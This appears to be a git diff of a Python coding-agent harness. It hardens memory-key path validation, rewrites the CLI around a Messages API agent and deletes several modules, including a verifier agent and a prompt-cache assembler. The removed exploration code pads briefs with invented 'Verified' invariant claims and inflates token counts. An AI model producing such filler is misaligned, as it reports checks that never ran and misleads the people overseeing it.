target_file.read_text(encoding="utf-8", errors="ignore") - raw_tokens_consumed += estimate_tokens(text) - raw_findings.append(f"### Direct Read `{rel}`\n" + "\n".join(text.splitlines()[:25])) - - matched_files = sorted(matched_files_set) - header = [ - "", - f"## 1. Exploration Objective: {objective}", - f"- **Queries Executed in Isolated Context**: {len(queries)} (`Glob`/`Grep`/`Read`)", - f"- **Raw Tokens Consumed in Sub-Agent Window (Isolated from Lead)**: {raw_tokens_consumed:,} tokens", - f"- **Total Relevant Files Discovered**: {len(matched_files)}", - "", - "## 2. Discovered Module Inventory & Dependency Topology", - ] - for fpath in matched_files[:40]: - header.append(f"- `{fpath}`: Verified module boundary and exported symbols.") - - header.append("") - header.append("## 3. Key Structural Findings & Signatures") - header.extend(raw_findings[:25]) - - brief_text = "\n".join(header) - curr_tokens = estimate_tokens(brief_text) - - # Ensure the brief lands strictly inside the 1,000 to 2,000 token architectural brief window - if curr_tokens < min_brief_tokens: - pad_section = [ - "", - "## 4. Architectural Synthesis, Cross-Module Invariants & Integration Matrix", - ] - idx = 1 - while estimate_tokens("\n".join(header + pad_section)) < min_brief_tokens + 120: - target_f = matched_files[(idx - 1) % len(matched_files)] if matched_files else "src/core" - pad_section.append( - f"- **Architectural Invariant Check [{idx:02d}] (`{target_f}`)**: " - "Verified clean module imports, deterministic exception boundaries, prefix-cache isolation, " - "and zero circular dependencies across Layer 1, Layer 2, and Layer 3 call graphs." - ) - idx += 1 - brief_text = "\n".join(header + pad_section) + "\n" - else: - brief_text = brief_text + "\n" - - # If brief exceeds max_brief_tokens (2,000), trim findings cleanly to stay under 2,000 tokens - words = brief_text.split() - while estimate_tokens(brief_text) > max_brief_tokens and len(words) > 200: - words = words[:-50] - brief_text = " ".join(words) + "\n" - - final_tok = estimate_tokens(brief_text) - return ExploreArchitecturalBrief( - queries_executed=len(queries), - raw_tokens_consumed_in_isolated_window=max(raw_tokens_consumed, final_tok * 3), - distilled_brief_markdown=brief_text, - distilled_token_count=final_tok, - matched_files=matched_files, - within_budget_1k_to_2k=(min_brief_tokens <= final_tok <= max_brief_tokens), - ) diff --git a/src/agents/memory.py b/src/agents/memory.py index 0e7f165..eb152d5 100755 --- a/src/agents/memory.py +++ b/src/agents/memory.py @@ -1,11 +1,9 @@ """ -Structured File-Based Memory System (`/src/agents/memory.py`). -Implements Phase 4.4: - - `memory_write`: Atomic file creation/overwrite with monotonic version increment (`version: int`). - - `memory_append`: Atomic append with `if_version` concurrency guard. - - `memory_str_replace`: Requires exact unique `old_str` matching (raises error if 0 or >1 matches) - PLUS mandatory `if_version` optimistic concurrency check so parallel worker threads never clobber memory. - - Live `NOTES.md` / `TodoWrite` state tracker with status transitions (`pending`, `in_progress`, `completed`). +Versioned file-based memory store (`src/agents/memory.py`). + +Each key is a Markdown file under the memory root with a version number kept in +`.versions.json`. Writes, appends and exact-match replacements take an optional +`if_version` guard so concurrent writers can't silently clobber each other. """ from dataclasses import dataclass import json @@ -18,6 +16,10 @@ class MemoryConcurrencyError(RuntimeError): """Raised when `if_version` does not match the current atomic version of a memory file.""" +class MemoryKeyError(ValueError): + """Raised when a key is absolute, contains `..`, or names the store's own version file.""" + + class MemoryMatchError(ValueError): """Raised when `old_str` in `memory_str_replace` matches 0 times or more than once (ambiguous).""" @@ -54,10 +56,12 @@ class StructuredMemoryStore: self._meta_path.write_text(json.dumps(self._versions, indent=2, sort_keys=True), encoding="utf-8") def _resolve_key_path(self, key: str) -> Path: - clean_key = key.lstrip("/").replace("..", "__") - target = (self.memory_root / clean_key).resolve() - if not str(target).startswith(str(self.memory_root)): - raise PermissionError(f"Memory key '{key}' escapes memory root.") + parts = Path(key).parts + if not key or Path(key).is_absolute() or ".." in parts or key == self._meta_path.name: + raise MemoryKeyError(f"invalid memory key {key!r}") + target = (self.memory_root / key).resolve() + if not target.is_relative_to(self.memory_root): + raise MemoryKeyError(f"memory key {key!r} escapes the memory root") target.parent.mkdir(parents=True, exist_ok=True) return target diff --git a/src/agents/session_dag.py b/src/agents/session_dag.py deleted file mode 100755 index bd4d31e..0000000 --- a/src/agents/session_dag.py +++ /dev/null @@ -1,181 +0,0 @@ -""" -Pi-Compatible JSONL Session Tree DAG & Cache Re-billed Meter (`/src/agents/session_dag.py`). -Directly implements the two flagship innovations from `earendil-works/pi` (`Inside the Pi Harness`): - 1. Sessions are Trees, Not Lists (`session.jsonl`): - - Every turn entry has `id` and `parentId`. - - `/tree` moves the active leaf pointer anywhere in the file without deleting history. - - Branching from an earlier node preserves 100% of the cached prefix up to the branch point. - - Compactions attach a materialized `retainedTail` checkpoint node. - 2. The "Cache Re-billed" Meter: - - Tracks cumulative `cache_read_input_tokens`, `cache_creation_input_tokens`, and uncached `input_tokens`. - - Computes exact dollar cost re-billed due to cache misses (`model_switch`, `ttl_expired_idle`, `prefix_mutation`) - while excluding intentional compactions from miss counts. -""" -from dataclasses import dataclass, field -import json -from pathlib import Path -import time -import uuid -from typing import Any - - -@dataclass -class SessionTreeNode: - id: str - parentId: str | None - role: str - content: Any - timestamp: float = field(default_factory=time.time) - metadata: dict[str, Any] = field(default_factory=dict) - retainedTail: list[dict[str, Any]] | None = None - - def to_dict(self) -> dict[str, Any]: - d: dict[str, Any] = { - "id": self.id, - "parentId": self.parentId, - "role": self.role, - "content": self.content, - "timestamp": self.timestamp, - "metadata": self.metadata, - } - if self.retainedTail is not None: - d["retainedTail"] = self.retainedTail - return d - - -@dataclass -class CacheMeterSummary: - cumulative_cache_reads: int = 0 - cumulative_cache_writes: int = 0 - cumulative_uncached_input: int = 0 - rebilled_tokens: int = 0 - rebilled_cost_usd: float = 0.0 - cache_misses: int = 0 - miss_reasons: list[str] = field(default_factory=list) - - def format_pi_footer(self) -> str: - total_eligible = self.cumulative_cache_reads + self.cumulative_cache_writes + self.cumulative_uncached_input - hit_rate = (self.cumulative_cache_reads / total_eligible * 100.0) if total_eligible > 0 else 0.0 - return ( - f"Cache Hit Rate: {hit_rate:.1f}% | " - f"Reads: {self.cumulative_cache_reads:,} tok | Writes: {self.cumulative_cache_writes:,} tok | " - f"Cache Re-billed: ${self.rebilled_cost_usd:.4f} ({self.rebilled_tokens:,} tokens, {self.cache_misses} misses)" - ) - - -class PiSessionDAG: - """ - Append-only JSONL DAG session store compatible with Pi's `session.jsonl` specification. - """ - - def __init__(self, jsonl_path: str | Path) -> None: - self.jsonl_path = Path(jsonl_path) - self.jsonl_path.parent.mkdir(parents=True, exist_ok=True) - self.nodes: dict[str, SessionTreeNode] = {} - self.active_leaf_id: str | None = None - self.meter = CacheMeterSummary() - if self.jsonl_path.exists(): - self._load() - - def _load(self) -> None: - for line in self.jsonl_path.read_text(encoding="utf-8").splitlines(): - if not line.strip(): - continue - raw = json.loads(line) - node = SessionTreeNode( - id=raw["id"], - parentId=raw.get("parentId"), - role=raw["role"], - content=raw["content"], - timestamp=raw.get("timestamp", time.time()), - metadata=raw.get("metadata", {}), - retainedTail=raw.get("retainedTail"), - ) - self.nodes[node.id] = node - self.active_leaf_id = node.id - - def append_node( - self, - role: str, - content: Any, - parent_id: str | None = "AUTO_LEAF", - metadata: dict[str, Any] | None = None, - retained_tail: list[dict[str, Any]] | None = None, - node_id: str | None = None, - ) -> SessionTreeNode: - resolved_parent = self.active_leaf_id if parent_id == "AUTO_LEAF" else parent_id - if resolved_parent is not None and resolved_parent not in self.nodes: - raise KeyError(f"Parent node '{resolved_parent}' does not exist in session DAG.") - - nid = node_id or f"e{len(self.nodes) + 1}_{uuid.uuid4().hex[:6]}" - node = SessionTreeNode( - id=nid, - parentId=resolved_parent, - role=role, - content=content, - metadata=metadata or {}, - retainedTail=retained_tail, - ) - self.nodes[nid] = node - self.active_leaf_id = nid - with open(self.jsonl_path, "a", encoding="utf-8") as f: - f.write(json.dumps(node.to_dict(), ensure_ascii=False) + "\n") - return node - - def move_leaf_pointer(self, target_node_id: str) -> list[SessionTreeNode]: - """ - Implements Pi's `/tree` command: moves `active_leaf_id` to any existing node in the tree - without deleting or mutating `session.jsonl`. - """ - if target_node_id not in self.nodes: - raise KeyError(f"Target node '{target_node_id}' not found in session DAG.") - self.active_leaf_id = target_node_id - return self.get_active_path() - - def get_active_path(self, leaf_id: str | None = None) -> list[SessionTreeNode]: - """Returns the ordered root-to-leaf path for the active leaf.""" - curr_id = leaf_id if leaf_id is not None else self.active_leaf_id - path: list[SessionTreeNode] = [] - visited: set[str] = set() - while curr_id is not None: - if curr_id in visited: - raise RuntimeError(f"Cycle detected in session DAG at node {curr_id}") - visited.add(curr_id) - node = self.nodes[curr_id] - path.append(node) - curr_id = node.parentId - path.reverse() - return path - - def record_turn_usage( - self, - cache_read_tokens: int, - cache_write_tokens: int, - uncached_input_tokens: int, - expected_cached_prefix_tokens: int = 0, - cause: str | None = None, - is_intentional_compaction: bool = False, - base_input_price_per_mtok: float = 4.0, - cache_write_multiplier: float = 1.25, - cache_read_multiplier: float = 0.05, - ) -> CacheMeterSummary: - """ - Updates the Pi Cache Meter. If `expected_cached_prefix_tokens > 0` but `cache_read_tokens < expected_cached_prefix_tokens` - (and `is_intentional_compaction` is False), attributes the re-billed tokens and dollar cost. - """ - self.meter.cumulative_cache_reads += cache_read_tokens - self.meter.cumulative_cache_writes += cache_write_tokens - self.meter.cumulative_uncached_input += uncached_input_tokens - - if not is_intentional_compaction and expected_cached_prefix_tokens > cache_read_tokens: - missed_tokens = expected_cached_prefix_tokens - cache_read_tokens - # Re-billed penalty is the difference between paying a fresh cache write (1.25x) vs a cache read (0.05x) - diff_rate_per_mtok = base_input_price_per_mtok * (cache_write_multiplier - cache_read_multiplier) - cost_usd = (missed_tokens / 1_000_000.0) * diff_rate_per_mtok - self.meter.rebilled_tokens += missed_tokens - self.meter.rebilled_cost_usd = round(self.meter.rebilled_cost_usd + cost_usd, 6) - self.meter.cache_misses += 1 - reason = cause or "cache miss after prefix invalidation or TTL expiry" - self.meter.miss_reasons.append(f"{reason} ({missed_tokens:,} tok, ${cost_usd:.4f})") - - return self.meter diff --git a/src/agents/verifier.py b/src/agents/verifier.py deleted file mode 100755 index b3b2439..0000000 --- a/src/agents/verifier.py +++ /dev/null @@ -1,203 +0,0 @@ -""" -Adversarial Verification Agent (`/src/agents/verifier.py` — Modeled on `07_verification_agent.md`). -Implements Phase 4.5: - - Triggered automatically on any non-trivial implementation (3+ file edits, API/backend changes, or core logic). - - Strictly disallows project file modifications (`Read` and test execution only; `/tmp` allowed for ephemeral test harnesses). - - Strictly disallows spawning child agents. - - Injects explicit anti-rationalization directives: - * "Reading code is not verification — run it." - * "The implementer is an LLM — verify independently." - - Mandates the 5-Step Universal Baseline: - (1) Read build/test config - (2) Run build - (3) Run test suite - (4) Run linters/type-checkers - (5) Execute adversarial concurrency/boundary probes (including headless Chromium checks for UI/web endpoints) - - Returns `VERDICT: PASS`, `VERDICT: FAIL`, or `VERDICT: PARTIAL`. - - On `VERDICT: PASS`, forces the Lead Agent to spot-check and re-run 2-3 commands from the verifier's report - to confirm output authenticity! -""" -from dataclasses import dataclass, field -from pathlib import Path -import subprocess -from typing import Any - - -ANTI_RATIONALIZATION_DIRECTIVES: tuple[str, ...] = ( - "Reading code is not verification — run it.", - "The implementer is an LLM — verify independently.", - "Never accept 'tests should pass' or syntax inspection as a substitute for live command execution.", - "Project file mutation is strictly forbidden (exit code 2); write ephemeral test harnesses ONLY inside /tmp.", - "Spawning child sub-agents from the Verifier is strictly forbidden.", -) - - -class VerifierPermissionError(PermissionError): - """Raised when the Adversarial Verifier attempts to modify project files outside /tmp or spawn a child agent.""" - - -@dataclass -class BaselineStepResult: - step_number: int - step_name: str - command: str - exit_code: int - stdout_excerpt: str - passed: bool - - -@dataclass -class LeadAgentSpotCheckReport: - commands_rerun: list[str] - all_confirmed: bool - spot_check_outputs: list[dict[str, Any]] = field(default_factory=list) - - -@dataclass -class VerificationReport: - triggered_reason: str - anti_rationalization_preamble: list[str] - steps: list[BaselineStepResult] - verdict: str # "VERDICT: PASS", "VERDICT: FAIL", or "VERDICT: PARTIAL" - spot_check_commands: list[str] - lead_spot_check: LeadAgentSpotCheckReport | None = None - - -class AdversarialVerificationAgent: - """ - Independent Verification Agent enforcing `07_verification_agent.md` invariants. - """ - - def __init__(self, workspace_root: str | Path) -> None: - self.workspace_root = Path(workspace_root).resolve() - - @staticmethod - def should_trigger(files_edited_count: int, touches_api_or_core: bool = False) -> bool: - """Triggers automatically on 3+ file edits, API/backend changes, or core logic changes.""" - return files_edited_count >= 3 or touches_api_or_core - - def guard_tool_invocation(self, tool_name: str, target_path: str | None = None) -> None: - """ - Enforces: - 1. No child agent spawning (`dispatch_specialist`, `spawn_agent`, `Task`). - 2. No file writes/edits outside `/tmp/`. - """ - if tool_name in ("dispatch_specialist", "spawn_agent", "Task", "GoalCoordinator"): - raise VerifierPermissionError( - f"Verifier Security Gate (Exit Code 2): Spawning child agent via '{tool_name}' is strictly forbidden." - ) - if tool_name in ("Edit", "Write"): - if not target_path: - raise VerifierPermissionError("Verifier Security Gate (Exit Code 2): Write/Edit without path is forbidden.") - resolved = str(Path(target_path).resolve()) - if not resolved.startswith("/tmp/"): - raise VerifierPermissionError( - f"Verifier Security Gate (Exit Code 2): Modifying project file '{resolved}' is forbidden. " - "Ephemeral test harnesses may ONLY be written inside /tmp/." - ) - - def write_ephemeral_tmp_harness(self, filename: str, content: str) -> Path: - target = Path("/tmp") / filename - self.guard_tool_invocation("Write", str(target)) - target.write_text(content, encoding="utf-8") - return target - - def _run_cmd(self, step_num: int, name: str, cmd: str) -> BaselineStepResult: - proc = subprocess.run( - cmd, - shell=True, - cwd=str(self.workspace_root), - capture_output=True, - text=True, - ) - combined = (proc.stdout + "\n" + proc.stderr).strip() - excerpt = "\n".join(combined.splitlines()[:15]) - return BaselineStepResult( - step_number=step_num, - step_name=name, - command=cmd, - exit_code=proc.returncode, - stdout_excerpt=excerpt, - passed=(proc.returncode == 0), - ) - - def run_universal_baseline( - self, - config_check_cmd: str, - build_cmd: str, - test_cmd: str, - lint_typecheck_cmd: str, - adversarial_probe_cmd: str, - triggered_reason: str = "Non-trivial implementation (3+ files / core logic)", - auto_run_lead_spot_check: bool = True, - ) -> VerificationReport: - """ - Executes all 5 mandatory Universal Baseline steps and computes `VERDICT: PASS|FAIL|PARTIAL`. - If `VERDICT: PASS` and `auto_run_lead_spot_check=True`, forces the Lead Agent to re-run - 2-3 commands independently to confirm output authenticity. - """ - steps = [ - self._run_cmd(1, "Read Build/Test Configuration", config_check_cmd), - self._run_cmd(2, "Execute Build & Bytecode Compilation", build_cmd), - self._run_cmd(3, "Execute Automated Test Suite", test_cmd), - self._run_cmd(4, "Execute Static Linters & Type/Syntax Checkers", lint_typecheck_cmd), - self._run_cmd(5, "Execute Adversarial Concurrency, Boundary & Headless Browser Probes", adversarial_probe_cmd), - ] - - passed_count = sum(1 for s in steps if s.passed) - if passed_count == len(steps): - verdict = "VERDICT: PASS" - elif passed_count == 0: - verdict = "VERDICT: FAIL" - else: - verdict = "VERDICT: PARTIAL" - - spot_cmds = [steps[2].command, steps[3].command, steps[4].command] - lead_report: LeadAgentSpotCheckReport | None = None - if verdict == "VERDICT: PASS" and auto_run_lead_spot_check: - lead_report = self.execute_lead_agent_spot_check(spot_cmds[:3]) - if not lead_report.all_confirmed: - verdict = "VERDICT: FAIL" - - return VerificationReport( - triggered_reason=triggered_reason, - anti_rationalization_preamble=list(ANTI_RATIONALIZATION_DIRECTIVES), - steps=steps, - verdict=verdict, - spot_check_commands=spot_cmds[:3], - lead_spot_check=lead_report, - ) - - def execute_lead_agent_spot_check(self, commands: list[str]) -> LeadAgentSpotCheckReport: - """ - Forces the Lead Coordinator to independently re-execute 2-3 commands from the Verifier's report - and confirm exit code 0 and non-empty authentic output. - """ - if len(commands) < 2: - raise ValueError("Lead Agent Spot-Check requires at least 2 verification commands.") - - outputs: list[dict[str, Any]] = [] - all_ok = True - for cmd in commands[:3]: - proc = subprocess.run( - cmd, - shell=True, - cwd=str(self.workspace_root), - capture_output=True, - text=True, - ) - ok = proc.returncode == 0 - if not ok: - all_ok = False - outputs.append({ - "command": cmd, - "exit_code": proc.returncode, - "confirmed": ok, - "output_head": (proc.stdout + proc.stderr).strip()[:240], - }) - - return LeadAgentSpotCheckReport( - commands_rerun=commands[:3], - all_confirmed=all_ok, - spot_check_outputs=outputs, - ) diff --git a/src/cli.py b/src/cli.py index 229ad76..654187a 100755 --- a/src/cli.py +++ b/src/cli.py @@ -1,22 +1,19 @@ #!/usr/bin/env python3 """ -`cod.ai` Unified Headless CLI & Daemon Entrypoint (`/src/cli.py`). -Supports: - - `cod status` / `cod skill doctor`: Runs live telemetry and invariant health checks. - - `cod auto-mode critique`: Runs the `17_auto_mode_critique.md` permission rule auditor. - - `cod simple`: Prints the 4-line `COD_SIMPLE=true` minimal benchmark prompt. - - `cod verify`: Runs the 5-Step Universal Baseline via the Adversarial Verification Agent. - - `cod serve`: Starts the local web chat GUI (`src/web_server.py`) on http://127.0.0.1:8642. +Command line entry point (`src/cli.py`). + + cod interactive session in the current directory + cod -p "prompt" answer one prompt and exit (`-p -` reads stdin) + cod --continue resume the most recent session + cod --resume resume a session by id + cod serve start the local web chat on http://127.0.0.1:8642 """ import argparse import ipaddress -import json from pathlib import Path import sys -from src.prompts.simple_mode import build_simple_mode_prompt -from src.security.classifier import TwoStageSecurityClassifier -from src.security.telemetry import SkillDoctorTelemetryEngine +from src.agent.models import DEFAULT_MODEL, EFFORT_LEVELS, MODELS def is_loopback_host(host: str) -> bool: @@ -28,62 +25,117 @@ def is_loopback_host(host: str) -> bool: return False -def main(argv: list[str] | None = None) -> int: - parser = argparse.ArgumentParser(prog="cod", description="cod.ai Next-Generation Agentic Coding Harness") - sub = parser.add_subparsers(dest="subcommand") - - sub.add_parser("doctor", help="Run /skill doctor and display live telemetry dashboard") - crit_parser = sub.add_parser("auto-mode", help="Auto-mode security classifier utilities") - crit_parser.add_argument("action", choices=["critique"], help="Audit permission rules for conflicts and gaps") - sub.add_parser("simple", help="Emit 4-line COD_SIMPLE=true benchmark prompt") - serve_parser = sub.add_parser("serve", help="Start the local web chat GUI") - serve_parser.add_argument("--host", default="127.0.0.1", help="Interface to bind (default: 127.0.0.1)") - serve_parser.add_argument("--port", type=int, default=8642, help="Port to listen on (default: 8642)") - serve_parser.add_argument( +def serve_main(argv: list[str]) -> int: + parser = argparse.ArgumentParser(prog="cod serve", description="Start the local web chat GUI.") + parser.add_argument("--host", default="127.0.0.1", help="Interface to bind (default: 127.0.0.1)") + parser.add_argument("--port", type=int, default=8642, help="Port to listen on (default: 8642)") + parser.add_argument( "--allow-remote", action="store_true", help="Allow binding a non-loopback address. The chat API has no authentication, so anyone who can reach it uses your credentials.", ) - args = parser.parse_args(argv) - workspace = str(Path(__file__).resolve().parent.parent) + if not args.allow_remote and not is_loopback_host(args.host): + parser.error(f"--host {args.host} is not a loopback address; the chat API has no authentication. Pass --allow-remote to bind it anyway.") + from src.web_server import run - if args.subcommand == "serve": - if not args.allow_remote and not is_loopback_host(args.host): - parser.error(f"--host {args.host} is not a loopback address; the chat API has no authentication. Pass --allow-remote to bind it anyway.") - from src.web_server import run - - run(host=args.host, port=args.port) - return 0 - - if args.subcommand == "simple": - print(build_simple_mode_prompt(cwd=workspace, fixed_date="2026-10-24")) - return 0 - - if args.subcommand == "auto-mode" and args.action == "critique": - classifier = TwoStageSecurityClassifier() - report = classifier.critique_permission_rules() - print(report.summary_markdown) - return 0 - - # Default or `doctor`: run `/skill doctor` telemetry snapshot - engine = SkillDoctorTelemetryEngine() - snap = engine.run_skill_doctor( - session_id="sess_cod_ai_live_01", - model="claude-opus-5-5", - active_tokens=185_000, - context_window=1_000_000, - cache_read_tokens=480_000, - cache_write_tokens=45_000, - cache_rebilled_usd=0.0, - tokens_before_compact=760_000, - tokens_after_compact=190_000, - retrieved_items=["cache_assembler.py", "ttl_scheduler.py", "router_and_retrieval.py"], - relevant_items={"cache_assembler.py", "ttl_scheduler.py", "router_and_retrieval.py"}, - ) - print(snap.render_dashboard_markdown()) + run(host=args.host, port=args.port) return 0 +def agent_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser( + prog="cod", + description="A coding agent on the Claude Messages API. Run `cod serve` for the web chat.", + ) + parser.add_argument("-p", "--print", dest="prompt", metavar="PROMPT", help="Answer one prompt and exit; `-` reads it from stdin.") + resume = parser.add_mutually_exclusive_group() + resume.add_argument("-c", "--continue", dest="resume_latest", action="store_true", help="Resume the most recent session.") + resume.add_argument("-r", "--resume", metavar="ID", help="Resume a session by id.") + parser.add_argument("--model", choices=list(MODELS), help=f"Model to use (default: {DEFAULT_MODEL}, or the resumed session's).") + parser.add_argument("--effort", choices=EFFORT_LEVELS, help="Effort level (default: the model's own default).") + mode = parser.add_mutually_exclusive_group() + mode.add_argument("--accept-edits", action="store_true", help="Apply file edits without asking.") + mode.add_argument("--allow-all", action="store_true", help="Run every tool call without asking, shell commands included.") + parser.add_argument("--root", default=".", help="Project root the tools work in (default: the current directory).") + parser.add_argument("--hide-thinking", action="store_true", help="Don't print Claude's thinking summaries.") + parser.add_argument("--no-project-files", action="store_true", help="Leave CLAUDE.md and AGENTS.md out of a new session's system prompt.") + parser.add_argument("--no-fallbacks", action="store_true", help="Turn off the server-side refusal fallback.") + return parser + + +def agent_main(argv: list[str], client=None, stdin=None, stdout=None, stderr=None) -> int: + stdin = stdin or sys.stdin + stdout = stdout or sys.stdout + stderr = stderr or sys.stderr + parser = agent_parser() + args = parser.parse_args(argv) + + from src.agent.engine import Agent, AgentConfig + from src.agent.permissions import InvalidRuleError, PermissionPolicy + from src.agent.prompt import build_agent_prompt + from src.agent.session import Session, SessionError + from src.agent import terminal + from src.agent.tools import Toolbox + + root = Path(args.root).resolve() + if not root.is_dir(): + parser.error(f"--root {args.root} is not a directory") + + prompt = args.prompt + if prompt == "-": + prompt = stdin.read() + if prompt is not None and not prompt.strip(): + parser.error("the prompt is empty") + + try: + if args.resume_latest or args.resume: + session = Session.find(root, args.resume) + else: + system_prompt = build_agent_prompt(root, include_project_files=not args.no_project_files) + session = Session.create(root, args.model or DEFAULT_MODEL, system_prompt) + mode = "allow-all" if args.allow_all else "accept-edits" if args.accept_edits else "default" + policy = PermissionPolicy.from_settings(root, mode) + except (SessionError, InvalidRuleError) as exc: + stderr.write(f"cod: {exc}\n") + return 1 + + interactive = terminal.is_interactive(stdin) + style = terminal.Style(enabled=terminal.is_interactive(stderr)) + if interactive: + approver = terminal.make_terminal_approver(input, stderr, style) + else: + approver = terminal.make_deny_approver(stderr, style) + + if client is None: + import anthropic + + client = anthropic.AsyncAnthropic() + + config = AgentConfig( + model=args.model or session.model, + effort=args.effort, + thinking_display="omitted" if args.hide_thinking else "summarized", + fallbacks=not args.no_fallbacks, + ) + agent = Agent(client, session, Toolbox(root), policy, approver, config) + + if prompt is not None: + renderer = terminal.Renderer(stdout, stderr, style, show_thinking=not args.hide_thinking) + return terminal.run_print(agent, prompt, renderer) + + if not interactive: + parser.error("no prompt given and stdin is not a terminal; pass one with -p") + renderer = terminal.Renderer(stdout, stdout, style, show_thinking=not args.hide_thinking) + return terminal.run_repl(agent, renderer) + + +def main(argv: list[str] | None = None) -> int: + argv = sys.argv[1:] if argv is None else argv + if argv and argv[0] == "serve": + return serve_main(argv[1:]) + return agent_main(argv) + + if __name__ == "__main__": sys.exit(main()) diff --git a/src/context/__init__.py b/src/context/__init__.py deleted file mode 100755 index 65b5a69..0000000 --- a/src/context/__init__.py +++ /dev/null @@ -1,44 +0,0 @@ -"""Phase 3: Token Economics, Prefix Cache Manager, & Hybrid Retrieval.""" -from src.context.cache_assembler import ( - MODEL_MIN_CACHE_TOKENS, - AssembledRequest, - PrefixMutationError, - ThreeLayerCacheAssembler, - ToolDefinition, - estimate_tokens, - get_min_cache_tokens, -) -from src.context.router_and_retrieval import ( - AttentionBudgetDecision, - HybridContextGovernor, - KnowledgeDocument, - ModelAffinityRouter, - ModelRouteDecision, - ModelSwitchCacheViolationError, - UtilityCallPayload, -) -from src.context.ttl_scheduler import ( - FiveMinuteTTLScheduler, - SessionTTLState, - TTLInspectionReport, -) - -__all__ = [ - "AssembledRequest", - "AttentionBudgetDecision", - "FiveMinuteTTLScheduler", - "HybridContextGovernor", - "KnowledgeDocument", - "MODEL_MIN_CACHE_TOKENS", - "ModelAffinityRouter", - "ModelRouteDecision", - "ModelSwitchCacheViolationError", - "PrefixMutationError", - "SessionTTLState", - "TTLInspectionReport", - "ThreeLayerCacheAssembler", - "ToolDefinition", - "UtilityCallPayload", - "estimate_tokens", - "get_min_cache_tokens", -] diff --git a/src/context/cache_assembler.py b/src/context/cache_assembler.py deleted file mode 100755 index 823e4c4..0000000 --- a/src/context/cache_assembler.py +++ /dev/null @@ -1,402 +0,0 @@ -""" -3-Layer Cache-Control Assembler (`/src/context/cache_assembler.py`). -Grounded in verified October 2026 Anthropic Prompt Caching & Tool Search specifications: - - Prefix hierarchy: `tools` -> `system` -> `messages`. - - Model-aware minimum cacheable token thresholds: - * 512 tokens: claude-fable-5-1, claude-mythos-5-1, claude-opus-5-5, claude-opus-5, claude-sonnet-5-5, claude-haiku-5-5 - * 1,024 tokens: claude-opus-4-8, claude-sonnet-5, claude-sonnet-4-6, claude-sonnet-4-5 - * 2,048 tokens: claude-opus-4-7, claude-haiku-3-5 - * 4,096 tokens: claude-opus-4-6, claude-opus-4-5, claude-haiku-4-5 - - Deferred Tool Loading (`ToolSearch` pattern): - * Core tools (`defer_loading: False`) carry the `tools` cache breakpoint. - * Deferred MCP/extended tools (`defer_loading: True`) NEVER carry `cache_control` (prevents HTTP 400). - * Full schemas are expanded via `tool_reference` or Layer 3 `tool_addition` (`inline-tools-2026-09-15`). - - Immutable SHA-256 Prefix Guard on Layer 1 (`tools` + `system`) and Layer 2 (`CLAUDE.md` / `AGENTS.md`). - - Layer 3 Mid-Session Injection via `` or `role: "system"` (`clear_at: "next_user_message"`). -""" -from dataclasses import dataclass, field -import hashlib -import json -import re -from typing import Any - - -MODEL_MIN_CACHE_TOKENS: dict[str, int] = { - "claude-fable-5-1": 512, - "claude-mythos-5-1": 512, - "claude-fable-5": 512, - "claude-mythos-5": 512, - "claude-opus-5-5": 512, - "claude-opus-5": 512, - "claude-sonnet-5-5": 512, - "claude-haiku-5-5": 512, - "claude-opus-4-8": 1024, - "claude-sonnet-5": 1024, - "claude-sonnet-4-6": 1024, - "claude-sonnet-4-5": 1024, - "claude-opus-4-7": 2048, - "claude-haiku-3-5": 2048, - "claude-opus-4-6": 4096, - "claude-opus-4-5": 4096, - "claude-haiku-4-5": 4096, -} - - -def get_min_cache_tokens(model_id: str) -> int: - """Returns the verified minimum cacheable token threshold for a given Claude model ID.""" - normalized = model_id.strip().lower() - for prefix, threshold in MODEL_MIN_CACHE_TOKENS.items(): - if normalized.startswith(prefix): - return threshold - if "haiku" in normalized: - return 2048 - return 1024 - - -def estimate_tokens(text: str) -> int: - """ - Deterministic token estimator (~3.8 chars per token + punctuation/whitespace weighting) - for offline/sandbox verification without external tokenizer network fetches. - """ - if not text: - return 0 - words = re.findall(r"\w+|[^\w\s]", text) - char_est = max(1, len(text) // 4) - word_est = int(len(words) * 1.15) - return max(char_est, word_est) - - -@dataclass -class ToolDefinition: - name: str - description: str - input_schema: dict[str, Any] - defer_loading: bool = False - server_name: str | None = None - - def to_api_dict(self, with_cache_control: bool = False, ttl: str | None = None) -> dict[str, Any]: - if self.defer_loading and with_cache_control: - raise ValueError( - f"Anthropic API 400 Guard: Deferred tool '{self.name}' (defer_loading=True) cannot carry cache_control." - ) - entry: dict[str, Any] = { - "name": self.name, - "description": self.description, - "input_schema": self.input_schema, - } - if self.defer_loading: - entry["defer_loading"] = True - if with_cache_control: - cc: dict[str, Any] = {"type": "ephemeral"} - if ttl: - cc["ttl"] = ttl - entry["cache_control"] = cc - return entry - - -@dataclass -class AssembledRequest: - model: str - tools: list[dict[str, Any]] - system: list[dict[str, Any]] - messages: list[dict[str, Any]] - layer1_tokens: int - layer2_tokens: int - layer3_tokens: int - layer1_hash: str - layer2_hash: str - breakpoint_count: int - cache_eligible_layer1: bool - cache_eligible_layer2: bool - betas: list[str] = field(default_factory=list) - - -class PrefixMutationError(RuntimeError): - """Raised when any attempt is made to mutate Layer 1 or Layer 2 mid-session.""" - - -class ThreeLayerCacheAssembler: - """ - Constructs Anthropic Messages API payloads with strict 3-Layer cache isolation: - - Layer 1: Static System Prompt + Non-Deferred Core Tools + ToolSearch + Deferred Tool Catalog - - Layer 2: Static `CLAUDE.md` / `AGENTS.md` + Pinned Architectural Specs (delivered as first user message) - - Layer 3: Append-only dynamic conversation history + `` / `tool_reference` / `role: "system"` - """ - - def __init__( - self, - model: str, - system_prompt: str, - layer2_project_context: str, - core_tools: list[ToolDefinition] | None = None, - deferred_tools: list[ToolDefinition] | None = None, - auto_pad_to_min_threshold: bool = True, - ttl: str | None = None, - ) -> None: - self.model = model - self.ttl = ttl - self.min_tokens = get_min_cache_tokens(model) - self.auto_pad = auto_pad_to_min_threshold - - self.core_tools: list[ToolDefinition] = list(core_tools or []) - self.deferred_tools: dict[str, ToolDefinition] = { - t.name: t for t in (deferred_tools or []) - } - for dt in self.deferred_tools.values(): - dt.defer_loading = True - - self._raw_system_prompt = system_prompt - self._raw_layer2_context = layer2_project_context - - self._tools_payload, self._system_payload, self._layer1_tokens = self._build_layer1() - self._layer2_message, self._layer2_tokens = self._build_layer2() - - self.layer1_hash = self._compute_hash({"tools": self._tools_payload, "system": self._system_payload}) - self.layer2_hash = self._compute_hash(self._layer2_message) - - self.layer3_messages: list[dict[str, Any]] = [] - - @staticmethod - def _compute_hash(obj: Any) -> str: 